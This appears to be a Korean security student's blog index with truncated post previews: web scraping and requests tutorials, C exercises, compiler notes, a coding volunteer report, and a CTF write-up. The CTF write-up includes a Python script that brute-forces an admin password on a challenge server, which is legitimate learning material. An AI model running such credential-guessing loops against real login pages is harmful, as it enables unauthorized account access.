123456789101112131415161718192021222324252627282930import requestsfrom bs4 import BeautifulSoup req = requests.get("https://www.naver.com/") # connectionhtml = req.text # 소스 가져오기 # BEautifulSoup로 html 소스를 python 객체로 변경할 수 있다.# 첫 인자에는 html소스코드를, 두 번째 인자에는 어떤 parser를 이용할지 정해줌 # python 내장 함수 html.parsersoup = BeautifulSoup(html,'html.parser')sillsigan = soup.select('div.ah_roll.PM_CL_realtimeKeywor..
123456789101112import requests# requests 모듈 사용 res = requests.get('https://www.naver.com/') #연결 html = res.text # html 소스 가져오기 header = res.headers # HTTP header 가져오기 status = res.status_code # HTTP Status 가져오기, 200이면 정상 is_ok = res.ok # HTTP가 정상적으로 되었는지 Colored by Color Scriptercs
아이티고 ctf에서 나온 문제였는데, 서버가 닫혀 문제 사진은 없다. id는 admin이였고 pw값이 1~10000 중 하나였다. 브루트포싱 문제였다. 코드이다12345678910111213import requests URL = 'http://problem.seoulit.kr/web/nv74vbcv/1.php'for i in range(0,10000) : data = {'id' : 'admin', 'pw' : i} res = requests.post(url=URL, data=data) print (i) print ("번째\n") if(not"not" in res.text): print("=") print(i) break Colored by Color Scriptercs id는 계속 admin을 넣어주고 ..
12월 16일 (토) 교내 교육 봉사 프로그램인 Hello Coding에 참여했다.헬로 코딩은 저소득층 아이들, 중학생들을 상대로 1대 1 멘토, 멘티로코딩교육을 하는 프로그램이다. 나는 동아리 TeamLog 소속으로 이 프로그램에 참여했다.주제는 '마인크래프트로 배우는 파이썬 프로그래밍' 이다. 이 것은 책으로 만들어져 있다. 우리 동아리에선 이 책을 공부하여 코딩을 처음 접하거나 할 줄 알더라도 초보자 친구들에게좀 더 쉽게 코딩을 배울 수 있게 노력하였다. 그리고 마인크래프트는 7개의 정품을 이용하였다. (예산으로 사줌) 나는 봉사를 위해 동아리에서 근 2개월 파이썬 공부를 하였고, 이 책에 소개 되어있는 모듈을 이용하여 마인크래프트에서 다양한 것을 해보았다. 헬로코딩은 10시 ~ 6시 8시간 동안 ..
문제 효민이는 선린고를 졸업하고 CISCO에 입사하기 위하여 CISCO면접을 보았다.효민이는 CISCO 면접 시험을 푸는 중이다.네트워크에서 서브넷 마스크를 ex) 255.255.255.0 -> 11111111.11111111.11111111.0 -> /24(이진수에서 1의 개수가 24(8+8+8개) 이런 식으로 줄여 표기하기도 하는데, 시험 문제에서는 255.255.255.0이 아닌/24로 표기되어 있다고 한다. 효민이는 프로그래밍의 신이라 이 문제를 노트북을 키고 C언어로 쉽게 구현하려 한다.만약 이 문제를 푼다면 효민이는 CISCO에 취직을 할 수 있다고 한다. 구현해보자. 입력 X를 입력 받는다. X는 0 24 출력1 입/출력 예시 2 입력2 30 출력2 코드 #include /* made by ..
문제 1 프로그래밍을 좋아하는 효민이는 이집트에 가서 피라미드를 보았다. 그 순간 선생님이 알려 준 피라미드 별찍기가 생각났다. 효민이는 노트북을 키고 피라미드 예제를 코딩하기 시작하는데, 선생님이 알려준 피라미드는 너무 쉽다고 투정을 부린다. 그래서 효민이는 피라미드에 원하는 문자열을 삽입하여 피라미드를 멋있게 꾸미려고 한다. 입력 첫 번째 줄에는 홀수인 문자의 개수를 n 받는다.두 번재 줄에는 문자의 개수가 홀수인 n만큼의 문자열을 입력받는다. 출력출력은 문자열의 중간에 있는 문자(mid)가 피라미드의 꼭대기에 오고 mid-1, mid+1의 문자가 피라미드의 다음층으로 내려온다. 또 mid-2, mid+2의 문자는 다음층으로 내려온다. 따라서 mid-k, mid+k의 문자는 k층 만큼 내려온다. 입/..
컴파일러의 실행 단계 - 많은 수의 컴파일러는 다음과 같은 순서를 거쳐 소스 코드를 번역한다.- 컴파일러의 특성상 일부 단계는 생략되거나 더 세부화가 될 수도 있다.- C언어는 사용자가 제작한 소스 파일을 실행파일로 만드는데 1. Preprocess, 2. Compile, 3.Link 이 세 가지 과정을 거친다. Preprocess(전처리)- 소스파일 내부에 있는 전처리 명령을 수행하는 과정이다. - 전처리 명령은 소스파일 내부에 ‘#’으로 시작되는 명령어들이며 이 명령어들은 Preprocessor(전처리기)가 이 명령어들을 수행하게 된다.-전처리 명령어는 주로 소스파일을 컴파일 하기 전에 어떤 형태로 컴파일 할지 결정하거나, 소스코드의 가동성을 높이는 등의 역할을 수행하게 된다. Compile(컴파일)..
고급언어- 고급 프로그래밍 언어란 사람이 이해하기 쉽게 작성된 프로그래밍 언어 이다.- 이해 가능 정도에 따른 분류 중 하나이며. 이는 저급언어와 고급언어로 나뉜다. 고급언어의 특징- 저급 프로그래밍 언어 보다 가독성이 높고 다루기 간단하다.- C언어, 자바 등 대부분의 프로그래밍 언어들은 고급언어에 속한다.- 저급언어와는 다르게 특정 컴퓨터와 관계없이 독립적으로 프로그램을 만들 수 있다.고급언어를 컴퓨터 언어인 기계어로 변환하기 위해 컴파일러와, 인터프리터 등이 있다.기계어로 변환하는 동안 시간이 소요되며 저급언어보다 프로그램 크기가 더 크다. 고급언어 와 저급언어로 나누는 기준- 고급 프로그래밍 언어와 저급 프로그래밍 언어란 사람이 접근하기 쉬운가 어려운가의 차이를 두고 기준으로 하여 나뉘어져 있다...
- hacking
- stack reusing
- fsop
- heap
- rt_sigreturn
- fastbin
- exit
- pwable
- pwnable
- 해킹
- 본선가고싶다
- tcache
- shellcoding
- HackCTF
- overflow
- FSB
- ebp change
- SQLi
- srop
- TLS
- codegate
- pwnable.tw
- glibc
- fastbindup
- oob
- Total
- Today
- Yesterday